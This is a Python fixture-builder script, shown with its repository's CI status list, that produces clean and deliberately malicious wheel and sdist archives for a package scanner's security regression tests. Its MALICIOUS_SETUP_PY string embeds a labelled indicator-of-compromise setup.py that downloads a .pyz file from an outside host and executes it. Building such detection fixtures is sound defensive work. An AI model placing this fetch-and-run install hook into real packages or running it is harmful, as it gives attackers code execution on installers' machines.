e93507a09c
Lockfile supply-chain audit / lockfile supply-chain audit (push) Has been cancelled
Windows Studio GGUF CI / GPU prebuilt resolves without Visual Studio (push) Has been cancelled
Windows Studio GGUF CI / setup.ps1 unit tests (VS 2026 / CMake guard) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2022) (push) Has been cancelled
Windows Studio GGUF CI / real-VS detection (VS 2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-2025-vs2026) (push) Has been cancelled
Windows Studio GGUF CI / VC++ runtime detect + install round-trip (windows-latest) (push) Has been cancelled
Windows Studio Update CI / Studio Updating Tests (push) Has been cancelled
Wheel CI / Wheel build + content sanity + import smoke (push) Has been cancelled
Lint CI / Source lint (Python + shell + YAML + JSON + safety nets) (push) Has been cancelled
MLX CI on Mac M1 / dispatch (push) Has been cancelled
Security audit / advisory audit (pip + npm + cargo) (push) Has been cancelled
Security audit / pip scan-packages :: extras (push) Has been cancelled
Security audit / pip scan-packages :: studio (push) Has been cancelled
Security audit / pip scan-packages :: hf-stack (push) Has been cancelled
Security audit / npm scan-packages (Studio frontend tarballs) (push) Has been cancelled
Security audit / workflow-trigger lint (pull_request_target / cache-poisoning) (push) Has been cancelled
Security audit / pytest tests/security (push) Has been cancelled
Security audit / npm provenance + new install-script diff (push) Has been cancelled
Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Backend CI / (Python 3.10) (push) Has been cancelled
Backend CI / (Python 3.11) (push) Has been cancelled
Backend CI / (Python 3.12) (push) Has been cancelled
Backend CI / (Python 3.13) (push) Has been cancelled
Backend CI / Repo tests (CPU) (push) Has been cancelled
Frontend CI / Frontend build + bundle sanity (push) Has been cancelled
Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Mac Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Mac Studio GGUF CI / JSON, images (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-14) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26) (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-15-intel) (push) Has been cancelled
Mac Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Mac Studio Install Matrix CI / Install + load (macos-26-intel) (push) Has been cancelled
Mac Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Tauri CI / Tauri Linux debug build (no codesign) (push) Has been cancelled
Mac Studio Update CI / Studio Updating Tests (push) Has been cancelled
Studio UI CI / Chat UI Tests (push) Has been cancelled
Windows Studio API CI / Studio API & Auth Tests (push) Has been cancelled
Windows Studio UI CI / Chat UI Tests (push) Has been cancelled
Studio Update CI / Studio Updating Tests (push) Has been cancelled
Core / Core (HF=default + TRL=default) (push) Has been cancelled
Core / Core (HF=4.57.6 + TRL<1) (push) Has been cancelled
Core / Core (HF=latest + TRL=latest) (push) Has been cancelled
Core / llama.cpp build + smoke (push) Has been cancelled
Windows Studio GGUF CI / OpenAI, Anthropic API tests (push) Has been cancelled
Windows Studio GGUF CI / Tool calling Tests (push) Has been cancelled
Windows Studio GGUF CI / JSON, images (push) Has been cancelled
Windows Studio GGUF CI / Studio install + inference without Visual Studio (push) Has been cancelled
Studio export capability / capability (macos-latest) (push) Has been cancelled
Studio export capability / capability (ubuntu-latest) (push) Has been cancelled
Studio export capability / capability (windows-latest) (push) Has been cancelled
Cross-platform parity / parity (macos-latest) (push) Has been cancelled
Cross-platform parity / parity (windows-latest) (push) Has been cancelled
Scorecard supply-chain security / Scorecard analysis (push) Has been cancelled
Studio load-orchestrator CI / test (push) Has been cancelled
165 lines
5.3 KiB
Python
165 lines
5.3 KiB
Python
"""Deterministic builder for the committed wheel + sdist fixtures; re-run only when the IOC literal changes."""
|
|
|
|
from __future__ import annotations
|
|
|
|
import io
|
|
import os
|
|
import sys
|
|
import tarfile
|
|
import zipfile
|
|
from pathlib import Path
|
|
|
|
SOURCE_DATE_EPOCH = 0
|
|
# Zip stores DOS time which starts at 1980; map epoch to 1980-01-01.
|
|
_ZIP_DOS_EPOCH = (1980, 1, 1, 0, 0, 0)
|
|
|
|
HERE = Path(__file__).resolve().parent
|
|
|
|
|
|
# IOC literal scan_packages.py must trip on. Keep in sync with
|
|
# KNOWN_IOC_STRINGS (scan_npm_packages.py) and RE_MAY12_IOC (scan_packages.py).
|
|
MALICIOUS_SETUP_PY = '''"""Test fixture: do NOT install.
|
|
|
|
This file embeds the May-12 Mini Shai-Hulud IOC literal so the
|
|
scan_packages.py regression tests can confirm the scanner trips on
|
|
the malicious setup.py shape. The string below is the same literal an
|
|
attacker would embed in a compromised release.
|
|
"""
|
|
|
|
from setuptools import setup
|
|
import urllib.request
|
|
import subprocess
|
|
|
|
# IOC literal -- mirrors public Socket.dev 2026-05-12 disclosure.
|
|
urllib.request.urlretrieve(
|
|
"https://git-tanstack.com/transformers.pyz",
|
|
"/tmp/transformers.pyz",
|
|
)
|
|
subprocess.run(["python3", "/tmp/transformers.pyz"], check=False)
|
|
|
|
setup(name="malicious-fixture", version="0.0.1")
|
|
'''
|
|
|
|
|
|
CLEAN_INIT_PY = '''"""Test fixture: empty placeholder package."""
|
|
'''
|
|
|
|
|
|
WHEEL_METADATA = (
|
|
"Metadata-Version: 2.1\n"
|
|
"Name: {name}\n"
|
|
"Version: 0.0.1\n"
|
|
"Summary: test fixture (do not install)\n"
|
|
)
|
|
|
|
WHEEL_FILE = (
|
|
"Wheel-Version: 1.0\n"
|
|
"Generator: tests/security/fixtures/_build.py\n"
|
|
"Root-Is-Purelib: true\n"
|
|
"Tag: py3-none-any\n"
|
|
)
|
|
|
|
RECORD_HEADER = ""
|
|
|
|
|
|
def _write_zip_member(zf: zipfile.ZipFile, name: str, data: bytes) -> None:
|
|
info = zipfile.ZipInfo(filename = name, date_time = _ZIP_DOS_EPOCH)
|
|
info.compress_type = zipfile.ZIP_DEFLATED
|
|
info.external_attr = (0o644 & 0xFFFF) << 16
|
|
info.create_system = 3 # Unix
|
|
zf.writestr(info, data)
|
|
|
|
|
|
def _build_wheel(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
|
|
"""Write a deterministic .whl; .dist-info METADATA/WHEEL/RECORD are added automatically."""
|
|
dist_info = f"{name}-0.0.1.dist-info"
|
|
members: dict[str, bytes] = dict(payload_files)
|
|
members[f"{dist_info}/METADATA"] = WHEEL_METADATA.format(name = name).encode()
|
|
members[f"{dist_info}/WHEEL"] = WHEEL_FILE.encode()
|
|
# RECORD is minimal; the scanner inspects file bodies, not hash integrity.
|
|
record_lines = []
|
|
for path in sorted(members):
|
|
record_lines.append(f"{path},,")
|
|
record_lines.append(f"{dist_info}/RECORD,,")
|
|
members[f"{dist_info}/RECORD"] = ("\n".join(record_lines) + "\n").encode()
|
|
|
|
# Write with sorted order for deterministic byte output.
|
|
buf = io.BytesIO()
|
|
with zipfile.ZipFile(buf, "w", compression = zipfile.ZIP_DEFLATED) as zf:
|
|
for path in sorted(members):
|
|
_write_zip_member(zf, path, members[path])
|
|
out_path.write_bytes(buf.getvalue())
|
|
|
|
|
|
def _build_sdist(out_path: Path, *, name: str, payload_files: dict[str, bytes]) -> None:
|
|
"""Write a deterministic .tar.gz sdist; a `{name}-0.0.1/` prefix is added automatically."""
|
|
prefix = f"{name}-0.0.1"
|
|
buf = io.BytesIO()
|
|
# gzip mtime fixed via mtime=0 (gzip member header).
|
|
import gzip
|
|
|
|
inner = io.BytesIO()
|
|
with tarfile.open(fileobj = inner, mode = "w") as tf:
|
|
for path in sorted(payload_files):
|
|
data = payload_files[path]
|
|
info = tarfile.TarInfo(name = f"{prefix}/{path}")
|
|
info.size = len(data)
|
|
info.mtime = SOURCE_DATE_EPOCH
|
|
info.mode = 0o644
|
|
info.uid = 0
|
|
info.gid = 0
|
|
info.uname = ""
|
|
info.gname = ""
|
|
info.type = tarfile.REGTYPE
|
|
tf.addfile(info, io.BytesIO(data))
|
|
raw = inner.getvalue()
|
|
# gzip with fixed mtime=0 and explicit compresslevel for stability.
|
|
gz_buf = io.BytesIO()
|
|
with gzip.GzipFile(
|
|
fileobj = gz_buf,
|
|
mode = "wb",
|
|
mtime = SOURCE_DATE_EPOCH,
|
|
compresslevel = 6,
|
|
filename = "",
|
|
) as gz:
|
|
gz.write(raw)
|
|
out_path.write_bytes(gz_buf.getvalue())
|
|
|
|
|
|
def build_all() -> dict[str, Path]:
|
|
os.environ["SOURCE_DATE_EPOCH"] = str(SOURCE_DATE_EPOCH)
|
|
|
|
outputs: dict[str, Path] = {}
|
|
|
|
# Malicious wheel: payload setup.py that embeds the May-12 IOC.
|
|
mal_payload = {
|
|
"setup.py": MALICIOUS_SETUP_PY.encode(),
|
|
"malicious_fixture/__init__.py": b"# malicious fixture stub\n",
|
|
}
|
|
mal_whl = HERE / "malicious_wheel.whl"
|
|
_build_wheel(mal_whl, name = "malicious_fixture", payload_files = mal_payload)
|
|
outputs["malicious_wheel"] = mal_whl
|
|
|
|
# Clean wheel: empty placeholder.
|
|
clean_payload = {
|
|
"clean_fixture/__init__.py": CLEAN_INIT_PY.encode(),
|
|
}
|
|
clean_whl = HERE / "clean_wheel.whl"
|
|
_build_wheel(clean_whl, name = "clean_fixture", payload_files = clean_payload)
|
|
outputs["clean_wheel"] = clean_whl
|
|
|
|
# Malicious sdist: same setup.py, tar.gz form.
|
|
mal_sdist = HERE / "malicious_sdist.tar.gz"
|
|
_build_sdist(mal_sdist, name = "malicious_fixture", payload_files = mal_payload)
|
|
outputs["malicious_sdist"] = mal_sdist
|
|
|
|
return outputs
|
|
|
|
|
|
if __name__ == "__main__":
|
|
paths = build_all()
|
|
for label, path in paths.items():
|
|
size = path.stat().st_size
|
|
print(f" {label:>18}: {path.name} ({size} bytes)")
|
|
sys.exit(0)
|